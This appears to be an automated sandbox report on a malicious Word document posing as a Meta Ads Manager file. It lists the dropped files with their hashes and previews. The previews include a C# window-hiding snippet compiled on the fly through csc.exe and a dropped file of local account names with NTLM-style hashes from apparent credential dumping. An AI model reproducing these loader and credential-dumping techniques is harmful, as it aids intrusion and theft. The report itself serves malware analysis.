C:\Users\user\AppData\Local\Temp\cmtdzwyg\cmtdzwyg.0.cs

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with no line terminators
Category:	dropped
Size (bytes):	244
Entropy (8bit):	4.952945910145069
Encrypted:	false
SSDEEP:	6:V/DssSuVY/so68SRvoSoODnso68SRaqK4Li:V/D9PY/REvoOnREfe
MD5:	6E7BC02C23E28738F9898185137720DB
SHA1:	F0450E92B0D01C2A0D23DEF93299FFD1512FAB46
SHA-256:	80A682DC3D4FEF7A23471B441BBA682648D7373DEB9889E0017E3BBBA43754E7
SHA-512:	FF24CEDAD3619B0D2379F668A06CE36A5DAFF2EBC2B11FCF8BD960C3272D99F5F77EDCA893701A6232DC9EB07794C8D2ABC3FD802CE7E5638EE87291DE1AAEFB
Malicious:	false
Preview:	.using System; using System.Runtime.InteropServices; public class Win32 { [DllImport("user32.dll")] public static extern int ShowWindow(IntPtr hWnd, int nCmdShow); [DllImport("user32.dll")] public static extern IntPtr GetForegroundWindow(); }

C:\Users\user\AppData\Local\Temp\cmtdzwyg\cmtdzwyg.cmdline

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (368), with no line terminators
Category:	dropped
Size (bytes):	371
Entropy (8bit):	5.215740181802925
Encrypted:	false
SSDEEP:	6:pAu+H2LvkuqJDdqxLTKbDdqB/6K2KJjq23fDFHUzxs7+AEszIKJjq23fDf:p37Lvkmb6K9FLFHUWZEYFLf
MD5:	5C3E566F8F38CA0361B8DB2AC0FF5846
SHA1:	8FD455E0591A39CA4F2D839C6A7DF5B2411ED39E
SHA-256:	5D9B4ED50EFAB5FC7C9BE5C3DF567D6A324CF2246BB56181E182BF82A1BE2353
SHA-512:	83FCC6ABD53E5D8922863A5EB50974B5614872933B35BE07D9F45AB7AE8EC05D9712E980A046DF55B74D4CB8177C3D1A2C69771D85AEDF63F59188B9CFC1431F
Malicious:	true
Preview:	./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\cmtdzwyg\cmtdzwyg.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\cmtdzwyg\cmtdzwyg.0.cs"

C:\Users\user\AppData\Local\Temp\cmtdzwyg\cmtdzwyg.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3072
Entropy (8bit):	2.7872698676493077
Encrypted:	false
SSDEEP:	24:etGSAWJ2JJi8R86QMBTWkzetkZfBZZ13+WI+ycuZhNXakSZPNnqI:6QNR9ZnzRJBr13l1ulXa3bqI
MD5:	BC85235357AC44B165DA2A46DC1211BC
SHA1:	8E7485B21D24B17C29EC706A083149CFC7F332BF
SHA-256:	CFBA4B2E2DA9656536C7766182E1DE1DCD8838F23729A4FA67AF0D692A6670F0
SHA-512:	1F6E5E4220D2B66BE4BCD6F32D5641BDEA7D408461D509C4849BFD6EC31E81213BFBF07299D3059AF5721685835CAD67248C6443B15FF6721BF261BEB10C3E9C
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....tYg...........!.................#... ...@....... ....................................@.................................P#..K....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................#......H.......X ................................................................(....*BSJB............v4.0.30319......l.......#~..........#Strings............#US.........#GUID.......L...#Blob...........G.........%3............................................................-.&.....g.....g.......................................... 4............ ?.....P ......S.........Y.....^...S.....S...!.S.....S.......".....+.......4.......?..................................................<Module

C:\Users\user\AppData\Local\Temp\cmtdzwyg\cmtdzwyg.out

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (451), with CRLF, CR line terminators
Category:	modified
Size (bytes):	872
Entropy (8bit):	5.319647758607576
Encrypted:	false
SSDEEP:	24:KhId3ka6KnLFVE+LGKax5DqBVKVrdFAMBJTH:ykka6CLFVE+LGK2DcVKdBJj
MD5:	EF6B9FA96C1AAD45DB444F7FD9DF7F49
SHA1:	E8EF12BF510BF0D75444CE5DD454437F8C627095
SHA-256:	26C9E28D7A6F35034811F6D058F7B334142C17AF87A99DBADBF9DE5F11293776
SHA-512:	0B21758FCA7172DAE4D308DFA9FC6939FE6E126D537813B86D445DD5532B16D9288CA8E2229879A9F41EC722D771B11EAFB5B8BE12BEA74A72E37596FFE53E7B
Malicious:	false
Preview:	.C:\Users\user\Desktop> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\cmtdzwyg\cmtdzwyg.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\cmtdzwyg\cmtdzwyg.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

C:\Users\user\AppData\Local\Temp\~$-Meta-Ads-Manager.pdf.docx

Download File

Process:	C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	162
Entropy (8bit):	2.414334408595868
Encrypted:	false
SSDEEP:	3:z/ZlBJDM2ltlflmltlQiQuDCSmU:z/PDMCEgAeSmU
MD5:	23BCA83D88897D835BF7F1DD1944E2A8
SHA1:	713B0EF0C26B57FEF069938D7918F9C8E03500B7
SHA-256:	6135517B305B3E8D19841A1547F6573E578D81AB8F992F36889FCD8420C8A6B9
SHA-512:	BE0A98E2C40569DE51A0E9DEBCDFD178D2E2163D4869B514406FC54A5D2F79ED4B25A9E28AF9D907FC6A1367EE0FDDDB59596FA218CBD74DC834B361A438333C
Malicious:	false
Preview:	..........................................................L....hY.L...........h..ey....f..L...................................<...K..........Yw..K...........GE.

C:\Users\user\AppData\Roaming\Microsoft\Office\MSO2057.acl

Download File

Process:	C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	37740
Entropy (8bit):	3.124891350596088
Encrypted:	false
SSDEEP:	768:0atNbFeZKdogeyHMOeYhIVi+iOFOqbPXdEmawb:r/eLAhIVJbf
MD5:	1ABED00C5391D601D5F20010E6A5C8E1
SHA1:	0D1C415380D1513155EFC19926D7453EBB9CEC1E
SHA-256:	C258B8B4A405F70BF351F62AEF51E30A5A1ADBABA1FDAD0720859EAE76F408A4
SHA-512:	F6437F148D7B3D5D55BAE4AE6590E77181055833A51F2F9A3C9E424539F50B27A2B0EF35A9DA7453E1AD7ABA2FD9BC97FDA54B985F4F8F072235E18756BD7CD1
Malicious:	false
Preview:	.....k..l.......S.....(.c.)...........(.e.)...... ....(.r.)...........(.t.m.)....."!..............& ....a.b.b.o.u.t.....a.b.o.u.t.....a.b.o.t.u.....a.b.o.u.t.....a.b.o.u.t.a.....a.b.o.u.t. .a.....a.b.o.u.t.i.t.....a.b.o.u.t. .i.t.....a.b.o.u.t.t.h.e.....a.b.o.u.t. .t.h.e.....a.b.s.c.e.n.c.e.....a.b.s.e.n.c.e.....a.c.c.e.s.o.r.i.e.s.....a.c.c.e.s.s.o.r.i.e.s.....a.c.c.i.d.a.n.t.....a.c.c.i.d.e.n.t.....a.c.c.o.m.o.d.a.t.e.....a.c.c.o.m.m.o.d.a.t.e.....a.c.c.o.r.d.i.n.g.t.o.....a.c.c.o.r.d.i.n.g. .t.o.....a.c.c.r.o.s.s.....a.c.r.o.s.s.....a.c.h.e.i.v.e.....a.c.h.i.e.v.e.....a.c.h.e.i.v.e.d.....a.c.h.i.e.v.e.d.....a.c.h.e.i.v.i.n.g.....a.c.h.i.e.v.i.n.g.....a.c.n.....c.a.n.....a.c.o.m.m.o.d.a.t.e.....a.c.c.o.m.m.o.d.a.t.e.....a.c.o.m.o.d.a.t.e.....a.c.c.o.m.m.o.d.a.t.e.....a.c.t.u.a.l.y.l.....a.c.t.u.a.l.l.y.....a.d.d.i.t.i.n.a.l.....a.d.d.i.t.i.o.n.a.l.....a.d.d.t.i.o.n.a.l.....a.d.d.i.t.i.o.n.a.l.....a.d.e.q.u.i.t.....a.d.e.q.u.a.t.e.....a.d.e.q.u.i.t.e.....a.d.e.q.u.a.t.e.....a.d.n.....

C:\Users\user\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC

Download File

Process:	C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	18
Entropy (8bit):	2.836591668108979
Encrypted:	false
SSDEEP:	3:QhRZln:Qb
MD5:	C635A6BFA5AE32F7E77689DF0465FC21
SHA1:	AFF2FB5D3D3DBB371C3EDAA867AA0FB4FD4D8B06
SHA-256:	75EB61906ED4248E5CB1C7A09A2031E5C159A52577A5625766612370E508D535
SHA-512:	A1BBCCBBD6B849070F3981710E1D1F0882C78C2947781908ACAF987FC2F3E34C8DB981212B47C9D714568E4F8D91D938056329787121EE9397D7086F8A57855A
Malicious:	false
Preview:	..D.y.l.a.n.e.....

C:\Users\user\AppData\Roaming\Microsoft\UProof\ExcludeDictionaryEN0809.lex

Download File

Process:	C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with no line terminators
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:Qn:Qn
MD5:	F3B25701FE362EC84616A93A45CE9998
SHA1:	D62636D8CAEC13F04E28442A0A6FA1AFEB024BBB
SHA-256:	B3D510EF04275CA8E698E5B3CBB0ECE3949EF9252F0CDC839E9EE347409A2209
SHA-512:	98C5F56F3DE340690C139E58EB7DAC111979F0D4DFFE9C4B24FF849510F4B6FFA9FD608C0A3DE9AC3C9FD2190F0EFAF715309061490F9755A9BFDF1C54CA0D84
Malicious:	false
Preview:	..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms (copy)

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6222
Entropy (8bit):	3.7462441292991837
Encrypted:	false
SSDEEP:	48:A6N97t3CZcU2RubGukvhkvklCyw/SDL2Mfx+wSogZom8AjL2Mfx+wSogZompA:Frt3CzOYkvhkvCCtUL2MfsHW2L2MfsHU
MD5:	811C2CA7F13FFEAFBC2AB8E4C8390792
SHA1:	49C32F240E3BF1EC6219B8FB45A93AF03EFC5BAB
SHA-256:	A7D934A75AB8170AAB87797CB5B1F7996ACDD3C945F6BBBCE3ABA979D8CC07E5
SHA-512:	7092B2B803FD0FA85CBFB8C631268DFB27A7DA45E7DA72E63D9EF883591F3EFF0A8DD92E3FBDF9D9EA2A6F009C2A243615AECB2F4C7B1B718C288989DC3243A5
Malicious:	false
Preview:	...................................FL..................F.".. ......A......].K..z.:{.............................:..DG..Yr?.D..U..k0.&...&.........A....AD..K..x.b.K......t...CFSF..1.....&W.<..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......&W.<.Y.Y.............................A.p.p.D.a.t.a...B.V.1......Y.Y..Roaming.@......&W.<.Y.Y...........................o..R.o.a.m.i.n.g.....\.1.....+YS6..MICROS~1..D......&W.<.Y.Y...........................RN.M.i.c.r.o.s.o.f.t.....V.1......Y.)..Windows.@......&W.<.Y.Y..........................dx..W.i.n.d.o.w.s.......1.....&W.<..STARTM~1..n......&W.<.Yv.....................D.......b.S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....&W.<..Programs..j......&W.<.Y\|.....................@......+}.P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......&W.<.Yt...........................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~2.LNK..^......&W.<.Y.Y....8...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\DI002RX5MHBLZPIGR9L4.temp

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6222
Entropy (8bit):	3.7462441292991837
Encrypted:	false
SSDEEP:	48:A6N97t3CZcU2RubGukvhkvklCyw/SDL2Mfx+wSogZom8AjL2Mfx+wSogZompA:Frt3CzOYkvhkvCCtUL2MfsHW2L2MfsHU
MD5:	811C2CA7F13FFEAFBC2AB8E4C8390792
SHA1:	49C32F240E3BF1EC6219B8FB45A93AF03EFC5BAB
SHA-256:	A7D934A75AB8170AAB87797CB5B1F7996ACDD3C945F6BBBCE3ABA979D8CC07E5
SHA-512:	7092B2B803FD0FA85CBFB8C631268DFB27A7DA45E7DA72E63D9EF883591F3EFF0A8DD92E3FBDF9D9EA2A6F009C2A243615AECB2F4C7B1B718C288989DC3243A5
Malicious:	false
Preview:	...................................FL..................F.".. ......A......].K..z.:{.............................:..DG..Yr?.D..U..k0.&...&.........A....AD..K..x.b.K......t...CFSF..1.....&W.<..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......&W.<.Y.Y.............................A.p.p.D.a.t.a...B.V.1......Y.Y..Roaming.@......&W.<.Y.Y...........................o..R.o.a.m.i.n.g.....\.1.....+YS6..MICROS~1..D......&W.<.Y.Y...........................RN.M.i.c.r.o.s.o.f.t.....V.1......Y.)..Windows.@......&W.<.Y.Y..........................dx..W.i.n.d.o.w.s.......1.....&W.<..STARTM~1..n......&W.<.Yv.....................D.......b.S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....&W.<..Programs..j......&W.<.Y\|.....................@......+}.P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......&W.<.Yt...........................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~2.LNK..^......&W.<.Y.Y....8...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\JPNTNRAYGI1YFF6AHYT7.temp

Download File

Process:	C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	modified
Size (bytes):	12
Entropy (8bit):	0.41381685030363374
Encrypted:	false
SSDEEP:	3:/l:
MD5:	E4A1661C2C886EBB688DEC494532431C
SHA1:	A2AE2A7DB83B33DC95396607258F553114C9183C
SHA-256:	B76875C50EF704DBBF7F02C982445971D1BBD61AEBE2E4B28DDC58A1D66317D5
SHA-512:	EFDCB76FB40482BC94E37EAE3701E844BF22C7D74D53AEF93AC7B6AE1C1094BA2F853875D2C66A49A7075EA8C69F5A348B786D6EE0FA711669279D04ADAAC22C
Malicious:	false
Preview:	............

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms (copy)

Download File

Process:	C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	12
Entropy (8bit):	0.41381685030363374
Encrypted:	false
SSDEEP:	3:/l:
MD5:	E4A1661C2C886EBB688DEC494532431C
SHA1:	A2AE2A7DB83B33DC95396607258F553114C9183C
SHA-256:	B76875C50EF704DBBF7F02C982445971D1BBD61AEBE2E4B28DDC58A1D66317D5
SHA-512:	EFDCB76FB40482BC94E37EAE3701E844BF22C7D74D53AEF93AC7B6AE1C1094BA2F853875D2C66A49A7075EA8C69F5A348B786D6EE0FA711669279D04ADAAC22C
Malicious:	false
Preview:	............

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Windows\Temp\__PSScriptPolicyTest_12oxlpv4.w1d.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_1efnjtfj.xd5.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_axknltuz.jzu.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_dqliwqvf.an5.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_ips1vmzn.2ap.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_j54wafaz.kex.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_kuhpumpl.yas.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_qp2eclwv.n4c.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_vm5xqelz.exi.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_zuim2ieo.yub.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\deviceId.txt

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	37
Entropy (8bit):	4.185823555333621
Encrypted:	false
SSDEEP:	3:1FvBhiaTin:Vhun
MD5:	2E34892691A39C064B28C2196A4735CB
SHA1:	3037D60AA679A60A2A690C9EB314C27E8DB33452
SHA-256:	7E677E793E94E3C36E5016ABDA2CF6E6B9E3BA3AEC1DF05E77CC3771967D219E
SHA-512:	63323EB0221FA1FE3A83C65F75803AEE76A338D0685E1036BFAB1EA95636E221471D7CC7CA0D040B8CB183A2F5F8C6C892AD65AF0EA87AA9EB4588E435FE0D81
Malicious:	false
Preview:	.ECA4E7F645CEABCF141D602CC3089672..

C:\Windows\Temp\docsz

Download File

Process:	C:\Windows\Temp\myRdpService.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	271
Entropy (8bit):	4.934868083574915
Encrypted:	false
SSDEEP:	6:IwRJBYzRJBYlr8SJBY4U4GVjWOzE8hkYBdVPGMnpqX:I8sRs8SD8jW8rhkYVlpo
MD5:	EEEBDD827B6D27699BD0E7EDE9D0C190
SHA1:	A4673966530C5761A1D69BDD1B29B53BF6CC4A3B
SHA-256:	B101D86A6B4DEDBFE5863C976452567A727E91247369751845752168F9964EF3
SHA-512:	BCE218B9B04ABB9C6C05C76BFAC40B4043CA1145F635E7E3F8D8A377F4FF2B9E2839CFDEEDDFD592428EE862452A06E4E1A2B7BBCB99030FA1703DFB545A6CF2
Malicious:	false
Preview:	Administrator\|31d6cfe0d16ae931b73c59d7e0c089c0..Guest\|31d6cfe0d16ae931b73c59d7e0c089c0..DefaultAccount\|31d6cfe0d16ae931b73c59d7e0c089c0..WDAGUtilityAccount\|21A354058DFF20F7943C42B0FDF94216..user\|8EB3A1DDA3B8A025E21A55FEA19A1BEC..User1\|9D40E39ADEB5D56955BED3470DA6D02C..

C:\Windows\Temp\dp

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.7179360295889174
Encrypted:	false
SSDEEP:	3:QnlVldGlVlil:QdUu
MD5:	A6850FB0659A548ACF3B99814BF23C93
SHA1:	690D23F93EEA833EB4D5B8D20F3938E25E64BB72
SHA-256:	38961B38E6AFD73A897F43E7513755EAE09B9605AB97E698F2201665F4CF96DB
SHA-512:	DD61B6C972655AEFD3BFA5BA493476644071354EA482F224FEB2F5BC0992B6DC59CB7918F0F41139B0D4E73848850A8070DB82BB0DC4915999E33CCA22FAA37E
Malicious:	false
Preview:	..1.9.2.0.x.1.0.8.0.....

C:\Windows\Temp\file

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	8357376
Entropy (8bit):	6.871261170959167
Encrypted:	false
SSDEEP:	98304:QItEWBowFOHzb0sg6jsDNg4WNbpsDFnoDhno/S1w8s/I:QItDBowFOTbk6mNWNbpYtej1w8s/I
MD5:	E6C9E4ABDC9BACE6F54B1ED41622F54F
SHA1:	7FD64CA2D9718F31F05692279F428CB7B8EFF8C6
SHA-256:	2D285378BB1F24AA547EDB806FA18137127882F46EA1A3FA466F2645520233F1
SHA-512:	F1245224972CE79505D184DDE00A94B33D5FD12500A84C31A620BD208DA5913DD09AEC131F9C6A0E4F295F0F04FF9284667408DE209C3B552F25527FC90837FB
Malicious:	false
